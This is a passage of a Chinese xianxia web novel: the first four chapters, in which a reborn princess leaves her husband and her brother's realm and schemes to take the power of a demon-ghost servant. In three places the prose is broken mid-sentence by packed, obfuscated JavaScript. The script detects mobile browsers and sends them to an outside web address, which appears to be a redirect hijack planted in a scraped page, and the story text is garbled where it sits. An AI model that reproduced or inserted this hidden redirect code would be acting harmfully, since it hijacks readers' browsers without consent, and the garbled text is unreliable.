《我在争霸文里当万人迷》 1. 和离 姬灵水已经很久没见过这样的场面了,无生山中仙气乱窜流光四溢,不时有陨落的仙脉气息传到她的鼻息间。 是枯木和腥草的味道。 她抬眸,望向最顶峰一红一白的身影。 那是她的兄长与夫君,蓬於和万陵两大仙洲的主君。 脑中那本猝然出现的烫金天书还在翻页,解释着为何无论她怎么呼唤二人都不为所动,仍要分个高低—— 这个世界是假的,是由人编写好的话本。 他们争着第一仙洲的地位,争着炼化能使修为大增的“妖物”,争着探出对方的错漏。而她只是个联姻的工具,是话本中着墨不多的炮灰。 她的头好痛。 姬灵水蹲下身,捂住两边太阳穴。既如此,话本中所说的兄长对她嫌恶鄙夷、夫君想要杀她证道为何都未出现? 是时机没到,还是早早发生过,但她却记不清了? 她只觉脑中被人挖了个大洞,心口也空了一片。 微微抬首,那个“妖物”眼神凝在她身上,正一步一步朝她走来,嘴角似笑非笑。 姬灵水面色惨白,跌跌撞撞起身,却见那人冲她伸手,温柔唤她一声灵水公主。 她狐疑地将手给他,问他带她到哪去。 那妖鬼忽而阴森一笑,蚀骨的冰冷刺穿她的掌心。 语气诡异邪魅:“同我,下地狱啊。” · 又做噩梦了。 姬灵水一手用帕子擦拭头上的冷汗,一手抄起桌案的茶水就往嘴里送。 这几日她已梦到了无数次前世那场大战,梦中的死法不可不谓繁杂多样,丰富得简直可以编写一本《无生湖横死姿势鉴赏与测评》。 她都快忘了自己前世到底是怎么死的了。 忘了也好,她堂堂蓬於仙洲的公主灵水君,饶是再酒囊饭袋,也不至于自己吓破了胆失足掉湖吧?这传出去未免也太令各位仙友笑话。 好在上天有眼,给了她重来一次的机会。 昔日她痛苦呼救,兄长与夫君恍若未闻的情景犹在眼前,想起那本天书的指引,她心下已信了个八九分。 此方天地其实是一个六界争霸逐鹿话本,其中最为出色的几位主角均乃她的熟人,兄长姬烬水,夫君鱼扶鹤,以及从小就被捡到蓬於仙洲当奴隶养着的妖鬼屺阴。 而她姬灵水,作为把几个重要角色联系到一起的关键人物,从出生到暴毙,竟然只占了短短半页纸。 她光辉明亮的一生,被“炮灰反派”一言以蔽之。 这合理么? 如果霸主的位置只有一个,那很显而易见,当然是由整个话本里唯一一个女人当了。 至于怎么当…… 那先别管。 当务之急是先把这婚给毁了。 她重生在了那场大战的半年前,此时她与鱼扶鹤成亲不过两日,就已守了整整三个半日的空房。 昨夜她好不容易等来刚从人界处理完事务归来的鱼扶鹤,委婉提出了和离的心愿。 我要休了你,她说。 鱼扶鹤合衣平躺在她榻边,语气无波:“为何?” 不跑等着被你杀吗。她自然不能这么说,于是晓之以情动之以理,先是说这场亲事双方本就不愿,是两仙洲的老主君昏了头才订下的。 又说鱼扶鹤新婚不归,竟冷落仙界第一美人独守空房痴痴盼君回,可见鱼扶鹤并不尊重蓬於仙洲,她和兄长的脸都丢尽了。 再说其实她结亲前有过几段缠绵悱恻的情史,她来万陵仙洲后,才惊觉自己忘不掉他们。 这倒不是借口,若鱼扶鹤有心打探也能知晓,她素来喜爱貌美仙君。 空气静了半晌,未想鱼扶鹤侧过头,面无表情道:“婚事由你我及烬水君三方合意,无人不愿;你虽四处留情,可最终总要有个落处,万陵是你最好的选择;至于我迟迟未归,盖因人界出了一桩大事。” 姬灵水扶额,是了,鱼扶鹤原先是人皇。 修炼得道后当然得人界供奉,须得庇护一方。 那厢鱼扶鹤已认真解释起来:“近日人界有怪异之物现身,其貌似人形,实则血肉已被掏空,灌以鬼水……” 姬灵水睡得很安详。 此事已不了了之,只能另做打算了。 外间珠帘忽而被人拨开,发出玎玲悦耳之响,侍女桑桑端着盥洗用具进来,见她这模样,问道:“公主昨夜又做噩梦了?” 姬灵水点头,随口说:“可能是在这儿住得不习惯,过几天就好了。” 桑桑一笑,拧干帕子递给姬灵水,“不必等了,咱们今日就能回蓬於。” 姬灵水微微怔住,什么意思?虽说两次同鱼扶鹤成亲都按照人间的礼数来置办婚仪,可仙界从没有过什么回门的说法。 桑桑的笑也凝在脸上,迟疑着看向姬灵水,“公主不是昨夜跟扶鹤君提了和离之事么?” 对呀,可他没答应。 桑桑继续道:“今晨扶鹤君走的时候把婚契给我了,说是还予蓬於,此契作废,还说已传信给主君,让他来接您回去。” ? 还有这样的好事。 鱼扶鹤怎就突然想通了? 顾不了那么多,姬灵水已喜出望外,飞快起身准备收拾行囊了。虽说天书也言兄长会对她弃若敝履,可总比丢了命强,等回了蓬於,她想办法出去开府就是了。 收好东西后,姬灵水回头看了一眼殿内,这是她记忆中第一次带着行囊离开万陵仙洲的长生殿,胸中不禁涌起一股复杂的心绪。 前世,她是想收心好好与他过日子的。 嫁与他这半年,于人界来说是一百八十年,每十日她便要随他去一次人界,一共去了十八回。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585757|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她穿上荆钗布裙,给人界的百姓布施赐福,一日下来右手抖得拿不稳铁勺;她给刚出生的婴儿绣百家衣,戳得满手都是小孔,如此反复了十八回,向来被人精细伺候的她竟练得了一手好厨艺和针线活。 可鱼扶鹤面上总是淡淡的,最多会清浅地笑笑,再用术法将她手上的针孔治愈。 有时他心情甚好,还会同意她一起游玩街市的请求,甚至与她分吃一根糖葫芦。但若是心情不好了,又会摆出那副臭鱼脸,回仙洲的路上也不愿意多等等她。 是以姬灵水是相信天书预言的,这样一个有两副面孔的男人,对妻子痛下杀手也不是什么不可能发生的事。 行至前院,莫名起了一阵风,卷来淡淡的梨花香气。 绸带般泛着银鳞光泽的乌发旋飞舞绕几道后,其间露出一双淡漠的琥珀色眸子。 姬灵水盯着来人的脸,见他左侧额角至右侧下颌上闪过一道极细的如同丝线的银光,不禁想到先前就是被这张精雕细琢雌雄莫辨的脸给迷住的。 鱼扶鹤立在空中,一手负身后,发丝飞舞着缠绕在他周身,其上缀以波光荡漾,像他仙气的实化。 凡人修成这般境地,已是非常不易。 “我不知道你是为何想走。”他淡然开口,“但我不会留你。” 他一副懒得同她多说的模样,与昨夜耐心与她解释的模样判若两人。 不知道抽了什么疯。 惹还是不敢惹的,姬灵水赔笑:“好说好说。” 又是一阵风起,顷刻间那人又不见了。难不成就是来说那句话的?也实在太过无聊。 她侧头问桑桑:“刚倒忘记问了,哥哥跟你通信了吗?他真要来接我?” 不是姬灵水找不到回蓬於的路,是她确实太废了,聊到吃喝玩乐她能聊美了,仙术功法却一窍不通,只会一些日常之用。 近来世道不太平,若路遇意外,要桑桑分神护她,有点难为人。 “不用担心!”桑桑眼睛笑成弯弯的月牙,“主君说派人来接我们了,这会儿应该快到了。” 姬灵水点点头,想了想还是问了句:“派了谁?” “屺阴。” ! * 长恨殿内。 鱼扶鹤立身案前,指尖捏着一张红色的薄纸。 额角至下颌的银丝若隐若现,他缓缓开口,若有所思:“不是你想与她分开么,还留下跟人家的合籍婚书做什么。” 婚书未废,这桩婚就做不得废,这是万陵仙洲的规矩。 一道不耐的声音骤然响起:“与你何干?” “婚书上写的是我的名字,”鱼扶鹤唇角勾起意味不明的笑,随后肯定道,“你认识她。” 那道声音没再回话。 鱼扶鹤敛眉。 他认识她?为何脑中一丝记忆也无? 2. 蓬於 万陵仙洲坐于迈连涯巅,出仙洲便能自绝顶俯瞰,眼下仙洲错落,雾气缭绕,滋补至极。 鱼扶鹤因先前是凡人身躯,升仙后更是注重进补养气,千年前便寻遍仙界,搬迁数次才落址于此宝地。 就是雾气有些太大,姬灵水眼前雾蒙蒙的,视物不清,她伸手捏气去探,嗅到了一丝奇怪的味道。 绝不是仙气,说是妖鬼气息却也不像,像鬼气里掺了几分血腥味,另有一股不明的奇异花香缠绕。 “莫非……是魔气?”古籍上说魔气就是带着花香。 “可魔界早已灭绝,是何人敢携秽物来众仙洲的地盘?”桑桑横眉作势前去,被姬灵水一拦。 “别急。”姬灵水指尖微动,又捏了一根水蓝色冰晶凝成的引线,直直穿破眼前厚重的雾团。 那端有了触感,她伸手往回一拽,蓝线缩回,暗红冷气却从末端翻涌至姬灵水的指尖,她忙松开那线,眼见一只白得近乎透明的手拨开了仙雾。 “原是这个‘秽物’。”桑桑放下心来,瞪了来人一眼。 姬灵水静静打量他。 虽说前世自她出嫁后她便鲜少与屺阴见面,可如今觉得他的模样最是刻骨铭心,她甚至记得梦中两人手掌相触那刻,刺骨的冰凉使她遍体生寒,痛彻心扉。 她好歹本体也是一条水龙,能控冰晶,如此轻易就被人比了去,难不成主角与炮灰相差就这么大吗? 眼前玄衣少年下半张脸俊朗清隽,上半张脸的左边覆一银面,姬灵水猜想是这妖鬼生得丑陋,不敢以真面示人,想必那处一定有什么恶心的疤痕。 银面映得他左眼像一汪深不可测的潭水,但只要再看看他右边那只眼,姬灵水便能很快察觉出他眸中的不满与忍耐,甚至还有些许厌恶。 “哑巴了不成?见了公主也不叫人?”桑桑把行囊往他那处一甩。 他抬手接过东西,随后垂眸,睫羽映在肤上,终于不轻不重地吐出了两个字:“公主。” 桑桑被他这副模样惹恼,正要继续开口,姬灵水忙对她摇头,现如今可不敢惹他,前世姬烬水和鱼扶鹤两人都对他身上的神秘能量趋之若鹜,想必他大有来头,她不仅不能让梦中的那些死法一一实现,还要想办法化敌为友才行。 若要她现在勤习功法,从微末学起,无疑是天方夜谭,一是她懒,二是还有不到半年的时日大战就会来袭,时间绝不够。 而屺阴从指缝里露出的一点灵气应当都能够她苦学大半年的。 那她为何不走捷径? 只是战场上太过仓促,她翻阅天书太急,根本记不真切,怎么能让屺阴送她些能量呢?是把他炼成丹药,还是饮他的骨血啊? 姬灵水看他看得出神,直到屺阴拢眉,不悦之色再度浮显时,她思绪飞回来,眼神停在屺阴的面颊上。 与鬼域的人一样,屺阴虽是妖鬼两界混同之物,他的肌肤也是煞人的白,因此皮面上一有伤痕就异常明显,她看着他脸上细密的血丝问:“你脸怎么了?” 几乎是问出口的瞬间姬灵水就回想到了一事,屺阴不能在仙气过重的地方久留,三千年前他第一次到蓬於仙洲的时候也是如此,那时他身上皮肤裂出斑驳的痕丝,几乎能看见内里翻涌的血肉,整整三日全身上下没有一块完整的皮。 在蓬於,他从来都住在仙气最淡的龙湖洞,而此地却是整个仙界中仙气最重的地方。 那血丝并不扎眼,须细细看才能看清,姬灵水一说桑桑才察觉他脸上是有裂纹,以为姬灵水又是如从前那般千方百计挑屺阴的错处,当即冷着脸便道:“丑死了,碍公主的眼。” 屺阴闻言伸手,指尖轻拂过暴露在外的右侧面颊,血丝顷刻间化为乌有。 旋即正视姬灵水,神色淡淡问她:“公主现下可以走了吗?” 姬灵水忙说:“快走吧。” 待屺阴转过身,姬灵水肃然捏住桑桑的手腕,认真同她道:“谁让你这么说话的?” 桑桑愣怔片刻,痴痴盯着姬灵水,公主不向来这样对屺阴说话么?若她态度太好,岂不是打了公主的脸? 姬灵水自知心虚,松开她手,“以后别这样了,你们是同僚,日后总还是要相见的。” 是她害了桑桑。 也不知道前世她死后屺阴是否称霸六界,又是否回去踏平了蓬於仙洲,若果真如此,跟着她一同迫害屺阴的桑桑定然是首当其冲被报复。 桑桑似懂非懂,看了看前头的屺阴,压低声音问姬灵水:“可是您前不久不还说他就是一个下贱的奴隶,日后也不会有所作为么?” “我竟这样说过?” 姬灵水讶然,水龙八百岁就开智了,她两千多岁时还能坏得这样尖锐? 写话本的妖魔鬼怪开智了没? 桑桑猛点头,继续道:“您忘了,主君提拔他在身侧,因此而冷落了您,您眼睛都红得要滴血了。” “我那是上火!”姬灵水心口一阵发堵,从前不知道怎么就鬼迷心窍了,记忆里大片大片全是她对屺阴的欺辱行径。 言语上的还好,可怕的是,她竟真的对他动过手。 对这种在阴暗处蛰伏隐忍的未来大佬来说,一个巴掌算什么?姬灵水不知道。 因为她扇过不止一个。 她不断在心中宽慰自己,那都是屺阴自找的,他在主君面前一副温顺忠心的模样,暗地里却对她这个公主不敬,乃至挑衅嘲讽。 这还不该扇? 屺阴立在十步之外,转身看向窃窃私语的二人,他面上的血丝还在不断滋长,他阖了阖眸,又一抬手,面上光洁无痕,只是肤色又比先前白了一分。 见二人已上前来,屺阴飞身上了云轿前的顶端,待她们探身坐入轿内,素手一翻,黑红交错的气流延伸数里,见云轿沿着气流的线路缓缓行进,屺阴一个越身,整个人消失在仙雾中。 姬灵水视线透过厚厚的轿帘,叹道:“是我以往太过分了。” 屺阴恐怕都恨上她了,就算她如今放下身份上赶着讨好他,他应当也会怀疑她是不是又生了什么折磨人的计谋。 而若是让她低声下气去乞求他的原谅,倒不如死了。 真是难办。 姬灵水从行囊里掏出一本书册。 这是她刚重生那会儿忙叫桑桑去搜刮来的,当时她头脑还清醒,大战的场面鲜明深刻,她清楚地记得天书上说无生湖是屺阴的故乡。 无生湖本归属魔界,自三千年前六界混战后,魔界就消失了。无生湖至今不属任何一界,但关于它的传说却是多种多样,好事之人将传说编写成册,只是此书刚开始流传的时候就被天帝出面给禁了。 也因此,许多人都对神秘的无生湖心生驰往,而对于葬身无生湖的姬灵水来说,她更迫切地想知道无生湖与屺阴的秘密。 她想起方才闻到的那股奇异的花香味。 姬灵水的嗅觉甚是敏感,加之万陵仙洲的仙雾至纯至精,衬得那股味道十分浓郁。 屺阴的脸上有血丝,所以,那是他血的味道吗? 他是魔? 怎么会……魔界早已灭绝,以魔界之人的血性,不可能贪生怕死苟活于世。 无生湖只是拜于魔界麾下的混沌之地,什么精怪都有,一个妖鬼生在其中不足为奇。 姬灵水轻轻翻过一页,指尖蓦地顿住。 “无生湖精怪,大补之物。” 她目光急躁地扫过去,说是无生湖底蕴灵之力非凡,因此无生湖孕育出的精怪乃天地凝灵,其灵气虽于自身功力无益,但却可被他人采撷使用,其力无穷。 好一块让人垂涎欲滴的大肥肉。 姬灵水心跳得极快,那么,要怎么采撷呢? 编书之人大概也并不清楚,说是列了法子以作猜想。 ——将其炼化为真气吸食。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585758|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——与之双修。 最下还有一排小字:“仅供参考,毕竟世上的无生湖精怪早已灭绝。若有人与之相遇并成功得其灵力,可到编者处领取宝物。一只普通精怪十灵石,一只‘夭’十万灵石。” “夭”又是什么东西?姬灵水正要继续翻,桑桑提醒她到蓬於了。 她只好把书册收好,惴惴不安地下了云轿。 老实说,对鱼扶鹤和屺阴还好,这两人终归算是外人,就算真是害了她她也没处说理去。但天书上所说的兄长嫌恶她,她最初觉得是无稽之谈,眼下却也不敢完全肯定,要是真的,她一定会很伤心。 姬灵水整理了下衣裙,昂首挺胸进了仙洲。 弟子与侍者们一见她纷纷停下手中动作,恭敬唤她灵水公主。 她依旧一副高高在上的模样,目不斜视,径直去了姬烬水的主事大殿,殿内的侍从一见她来,悉数回避。 还未见人,只听一声“来了?” 姬灵水往拐角看去,红衣白发背影,是姬烬水不错。到底是亲人,又仿若隔了一世未见,她眸底很快蓄满泪水,委屈朝他走过去。 姬烬水正悠闲逗弄白缸中几条欢游的小蛇,冷不丁被人从身后环住腰。 他唇角微勾,右手顺势握住姬灵水一只手,捏着她手心的软肉,两手一齐伸入白缸中,姬灵水杏眸大睁,手指被他带着用力,一条滑腻的蛇身在她指缝间疯狂逃窜。 忽然,姬灵水尖叫一声,猛地把手往回抽,那条蛇顺势也被牵出水缸,随着她的动作摔落至地板,已然没了声息。 那是一条蓝色的水蛇。 “哥哥……”姬灵水惊恐地看向姬烬水。 姬烬水回身,大把银丝被玉簪稍稍挽住,剩余的则懒懒垂在肩头。 一双丹凤眼本该满溢着对这个妹妹的爱,此刻眼尾却微微泛着红,姬灵水知道,他生气时才会这样。 可为什么生气?因为她悔婚了么?还是他见到她不高兴? 想到那本天书,姬灵水嘴唇微动,张合几次却说不出口。 姬烬水仍然在笑,说话的语气却像淬了毒:“六百年前,我曾布告六界,为你寻亲生故土。” 姬灵水脑海中闪过片段,心凉了一半,“找到了?” “找到了。”姬烬水一步一步靠近她,俯首,手指骤然捏紧她下巴,“无生湖边有块荒地,正适合你开辟洞府,如今你翅膀硬了,应当自立门户。” 姬灵水方才那点恐惧此刻全化作了委屈和不甘,竟脱口质问:“我不喜欢鱼扶鹤,也不喜欢万陵,为何就不能和离?你想让我待在万陵,是为了鱼扶鹤送与你的那二十个资质上乘的弟子对吗?你只要你的蓬於,就算我被人杀了也无所谓吗?” 下巴上力道霍然一松,还未等姬灵水喘气,滚烫的手掌已移至她的脖颈间,姬烬水整个人都是炽热的,他掌心抚过来时,姬灵水脑中不合时宜地浮现出一些回忆。 顷刻间又被他的声音拉回。 “所以,你为了脱身就告诉了他许多借口,包括你我的事?” 姬灵水如遭雷击,眼神下意识往旁一凝,下一息,整个人像被火球滚了一般烧心发烫。 屺阴怎么在此? 他立在不远处,似乎是有要事来禀,见两人这般模样,面上也无甚波澜,只是看她的眼神不像在看一个活物。 霎那间,羞耻、愤怒与委屈通通席卷上头,她对屺阴喊道:“滚出去!” “不必。”姬烬水笑得魅惑,“你不是自己已昭告天下了么,如今又怕人知道?” “我没说过!”姬灵水愤愤视他。 姬烬水收敛了笑,面上布满阴翳,猛地按住她后颈,唇就要压下来,姬灵水忽而扬掌,朝他扇了过去。 这巴掌,她用了十成十的力。 巴掌的清脆声响彻整个大殿,暗处,岿然不动的屺阴,眼睫微微颤动了一瞬。 3. 离家 大殿上只剩姬烬水与屺阴两人,姬烬水伸手抚上被姬灵水扇过的地方,笑着喃道:“灵儿一向这般任性。” 不知是在跟谁解释。 屺阴开口汇报着他要他去查的事务,却见姬烬水敛眉沉思,须臾后,姬烬水沉声对他道:“去看看她又在闹什么。” 手中水镜幻化出姬灵水的模样,她边哭边在寝殿里搜罗自己的衣服首饰。 方才他说叫她自开洞府的话是讽她,不想她却听了进去,知道她脾性倔强,姬烬水又对屺阴加了句:“若她要走也不必死拦,时刻护她周全即可。” 若不好好搓搓她的傲气,焉不知日后还要闯下怎样的大祸。等她只身出去游历后才会知道谁是真正为她好。 屺阴欲言又止,还是转身去了。 · 姬灵水掩面奔出大殿,与正迎来的桑桑撞了个满怀。 “怎么了公主?您跟主君吵架了吗?”桑桑焦急道。 姬灵水摇头又点头。 她今日方知天书上说的都是真的,她前世怎么就没发现哥哥是这样冷血无情的人,想到得知她并非父君亲生之后这六百年间,她的心又酸又涩。 她也看过人间的话本子,里头的主角若是得了重来一回的机会,必然是脱胎换骨绝处逢生,怎偏偏她还是踏了老路,偏偏她的心还会痛? 她拉着桑桑回了自己的寝殿,把值钱的物件都拖了出来,“桑桑,你帮帮我,把这些拿去换成灵石。” 如今灵石是仙界的硬通货,她法力不高,自是没有随随便便变幻器物的能耐,以后的吃穿用度,恐怕都得靠灵石去换。 仙界虽不像人间一般需靠食物吊命,可还是时时需要进补灵气的。 她在蓬於时向来好吃懒做,一伸手就有无数人献殷勤,就是如此,姬烬水才笃定她不敢真的离开蓬於。 思及此,姬灵水下了决心。 她定要让人刮目相看,她不要再当什么灵水公主了,她要做灵水君。 她在寝殿里折腾了许久,直到桑桑垂头丧气抱回大半箱珠宝和一个小荷包。 “公主,只换到了一些……” 姬灵水数了数,大概有十颗。 “已经够多了,一颗就能换个侍者了。” 桑桑啊了一声:“公主想自立门户,已然是难事,还需要人侍奉吗?桑桑一人就够了。” 姬灵水缓缓道:“你说得对,骄奢淫逸的日子再回不去了,灵石得紧着用。” 她不舍地掏出一颗递给桑桑,“我此去是过苦日子的,你不要跟着我。” 桑桑大惊失色,“您要丢下我?” “不是丢下,我是被驱赶出去的,怎么能连吃带拿呢。”她攥紧了荷包,“这些珠宝首饰是别人送的,不算蓬於的东西。” 姬灵水抬头,见桑桑面颊鼓起两大包,眸子里都是泪水。 她手忙脚乱去擦桑桑眼泪,无奈道:“好吧好吧,那你少吃点成吗?” 桑桑坚定点头,“我不吃也可以。” 两人说走就走,没有半分犹豫。 倒是出了仙洲见到个熟悉身影。 姬灵水发觉她们往哪儿走屺阴就跟着往哪儿走,不禁顿下步子,没好气地问:“他让你来的?” “是。”屺阴不多说一个字。 姬灵水冷笑:“他让你做什么你就做什么,还真是条听话的——” 她顿时恢复清醒,忍不住心下暗骂自己,这恶毒一时半会儿真改不过来。 “不许跟着我!”她狠狠道,“不然我就……” 屺阴深邃的眸子蓦然有了生机,像潜伏在密丛中的毒蛇发现了猎物,他缓缓开口:“不然您就怎样,公主?” 姬灵水说不出口,如今她已是没权没势了,当然不能像以前那般为所欲为。 她呵道:“不然我就让你跟我一样,四处流浪,再也回不了蓬於。” 这话应当很没有气势,屺阴没理她,只是坚定地她动一步他跟一步。 桑桑忍不住压低声音问姬灵水:“公主,我们要去哪儿呢?” 方才在寝殿的时候她就想好了,姬烬水说无生湖旁有块荒地,她前世去过,其实那处有一个废弃的宫殿,许是无生湖的主君曾住过的别宫。 加之她如今迫切想知道无生湖的秘密,去那处自然是最好了,还落个清静自在。 无生湖现在虽不属任一界地,但与妖鬼两界毗邻,仙气寡淡,人烟也稀少。 三人立在破落宫殿前,姬灵水问屺阴:“你还不走?” 屺阴回:“主君说公主在外一日,属下便需护卫一日。” 姬灵水思索:“那我要是永远不回蓬於呢?你要一辈子跟我待一起吗?” “……” 姬灵水灵光突现。 这很好了呀,竟也算因祸得福,得来全不费工夫。现在根本没人知道屺阴其实出生于无生湖,就连他自己也没有那段记忆,纵观六界只有她一人开了天眼,岂不爽哉。 她摸摸下巴,指挥屺阴用术法将宫殿修缮好。 屺阴站着不动,似在想什么。 “这可是你们主君的命令,你若是不想待,走就好了,也没人拦你。”姬灵水眯眼笑笑。 眼见着屺阴沉着脸进了宫殿,姬灵水心中一阵神清气爽,等她得了屺阴的能量,她就是仙界第一霸主,此处就是第一仙洲。 姬灵水伸手一挥,原先腐烂看不清字的牌匾光洁一新,赫然嵌着三个烫金大字——“上仙洲”。 姬灵水说道:“以后这里就叫上仙洲,‘上’便是上等,‘上’也是向上,等我们仙洲发扬光大,就去入仙籍收弟子。” “是!主君!”桑桑眼里闪着崇拜的光。 很快,殿内也焕然一新,姬灵水进殿,忍不住夸了屺阴两句,随后又道:“你在此处住着也好,龙湖洞还是太阴湿了。” 她盯着他冷白的皮肤,“这儿又亮堂又没有仙气,最适合你住。” “公主当真要在此久住?”屺阴垂眸,银面上泛着光泽。 “嗯。”姬灵水轻闭双眸,仰面斜躺在主殿的宝座上,整个人歪歪扭扭,一手将瀑布般的银蓝发丝揽到一边,手腕脚腕上的银钏玎玲作响,煞是好听。 她心情一愉悦,乌发就会变成本体的银蓝色。 水蓝色的轻纱微垂,勾勒出她绝美的身姿,桑桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585759|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯得有些出神,有时候,她觉得姬灵水不是一条龙,更像一条蛇。 这份静谧很快被打破。 姬灵水鼻尖微动,嗅到一股怪异气息。于是惊惶从宝座上坐起,视线很快盯上墙边的一处角落。 桑桑也看过去,不禁轻呼一声,那处银白的墙面正在慢慢发黑,应是被邪气灼了一个大洞。 姬灵水立马拉着桑桑移到屺阴身后藏匿,双手抓紧他背上的衣料,警惕道:“是你的同类。” 屺阴眼神向后一瞥,漠然道:“妖鬼皆臣服仙界,未听说过有仙子怕妖鬼。” “我怕他们,又不怕你。”姬灵水盯着越来越大的黑洞说。 下一瞬,墙角的黑雾悉数被收入屺阴掌心。 三个面目丑陋的小妖鬼躺在地上滋哇乱叫。 “好丑。”姬灵水忍不住说,没想到屺阴已算是好看的了,不对,是遮起来算好看的。 屺阴瞥了他们一眼,“妖界与鬼界如今势如水火,均视带有对方血脉的生物为脏污,他们无处投靠,以污秽为食,自然生得丑陋。” 他语气淡淡,好似自己不是妖鬼似的。 那几个小妖鬼偶见自己的同类,均是泣涕涟涟,央求他收留。 屺阴移开一步,向他们示意身后的姬灵水。 “这位是此处的主君,收不收留,要她说了算。” 三人一见姬灵水,皆愣怔片刻。 早听闻仙界之人生得貌美,不想果真如是,少女眉目如画,惊鸿之面让人不敢言语,唯恐惊扰天人。 屺阴适时道:“不过,这位主君并非心善宽厚之人,你们自己考虑清楚。” 姬灵水不悦地用手指用力戳他的背梁,不就磋磨过他几回吗?有的人求都求不来。 果然,那三个小妖鬼像捡了便宜似的,纷纷道:“只要能留下,不管主君做什么,我们都愿意。” 姬灵水一阵头晕。 她是想要振兴上仙洲的,可要是收留他们,统共就六个人,妖鬼的含量达到了惊人的六分之四。 但这儿确实缺人侍奉,日后也不知是否还有妖啊鬼啊的来侵扰。 于是她点头:“留下吧,以后你们就听屺阴的调遣了。” 她转头去看屺阴,狐假虎威道:“他是我的贴身大护卫。” 屺阴回看她,眉目依旧阴沉,不发一言。 夜间,寝殿内姬灵水秉烛研读那本书册,眉头越拧越紧。 这书上说,若是将精怪练气吸食,则是一次性进补,对于术法低微的人来说反而不是好事,可能承受不住被反噬。 要是姬烬水和鱼扶鹤要炼化屺阴,自然是小菜一碟,而对她来说,不管是练气还是吸食,都有相当大的阻碍。 若是双修……就可徐徐图之,不至于不能承受了。 姬灵水的脸和耳朵微微泛红,她早就不是不经人事的小仙子了,可要她主动去引诱,她也实在做不到。 放在从前,她对她的脸自是信心满满,她想要什么样的仙君要不到?可这人偏偏是屺阴,梦中他阴毒的眼神她现在还记忆犹新。 她要如何才能补救? 跟他谈谈心成吗。 4. 引诱 这几天白日无事时屺阴都没留在上仙洲。 姬烬水应指派了不少活儿给他干,只有夜深阴气重的时候他才会回来守着上仙洲,对此姬灵水很有意见。 她写了封绝交信给姬烬水,被原封不动退了回来。 于是她又传了一封,这回是讨要屺阴的牵脉引。 当初是姬烬水路过天池边将奄奄一息的屺阴捡回来的,那时他便看出屺阴灵姿卓越,也就未曾在乎他妖鬼的身份,而是多加尽心培养。 为避免屺阴有一日逃离蓬於,姬烬水给他下了一道契,蓬於仙洲之秘术——牵脉引。 牵脉引能时时刻刻探查中契之人所在之地,心中所思。 一旦查探到其有不臣反叛之心,牵脉引便会牵动其全身灵脉以至湮灭,据说蚀骨噬心般痛苦。 不过依前世场景来看,牵脉引对后期的屺阴来说应该已算不得什么,可如今还是需要的。 姬烬水也并未多说什么,差人送来一张符纸,姬灵水照他的指示捏气念诀,不过几息,她闭眼便真能奇异地感受到那人的呼吸所在。 侍者见东西送到,施然预备离去,姬灵水作不经意状问他:“他没说什么别的?” 例如她过得好不好,有何需要,什么时候回去? 侍者想了一想,才道:“主君说……让公主悠着点。” 姬灵水哂笑了一声,拿起手边的瓷瓶就要往地上摔,猛然想起如今已没什么值钱东西了,于是手堪堪停在半空。 “你回去吧,告诉他,从今以后我们恩断义绝。屺阴在我这儿好得很,以后也不再回去了,叫他不要随意支使我的护卫。” 侍者颤声应是,赶紧走了。 姬灵水心头发堵,掌心摊开,念了牵脉引的诀,很快掌心腾起一股黑红色的气流。 不过片刻,屺阴已立在她身前,漠然道:“有事?” 姬灵水震撼于此物的好用,也不忘告诉他:“我将你的牵脉引要过来了,以后你只能听我的。” 屺阴轻轻启唇:“属下效忠主君,是为报恩,不为牵脉引。” 姬灵水盯着他的眼睛,手指绕弄着肩头的青丝,杏眸中流露出一丝认真:“当日我与他一起出了门,只是他比我先到了天池,先发现了你,后来我也去了,还是我将你从你池边拉出来的,也是我先说,我想要个玩伴。” 屺阴并未反驳:“所以属下也效忠于公主,不论公主如何责罚,是打是骂,属下从未说过半个不字。” 他眼神流转,驻在她额心的蓝色莲花印记上。 他记得,当年一睁眼,就看见了那朵莲花。 “你在怪我?”瞬息间姬灵水已移到他的身前,脚步围着他转圈,视线在他周身打量,少年宽肩窄腰,劲瘦有力,肤白胜雪,虽然极有可能长相不佳,但终归看不清全貌,她也不算太亏。 屺阴凝眉,似乎对身旁若隐若现的蓝色身影颇有微词,“属下不敢。” “嘴上说不敢,心里只怕将我恨死了。”姬灵水驻在他正前方,手伸上他的下颌处,指尖刚触到他皮肤,便被刺了个透心凉。 太冰了。 于是姬灵水淡淡一笑,静心运气,额心的莲花印记忽而闪烁起点点红光,待周身都滚烫起来,她猛地卡住他下颌,把他偏过去的头掰回来,“看着我。” 屺阴下颌发烫,索性也不装了,嘴角勾起个嘲弄的笑意:“公主又要如何?” “你这……” 屺阴逼视她,接过话:“我这卑贱的奴隶,脏污的血脉,我不应苟活于世。” 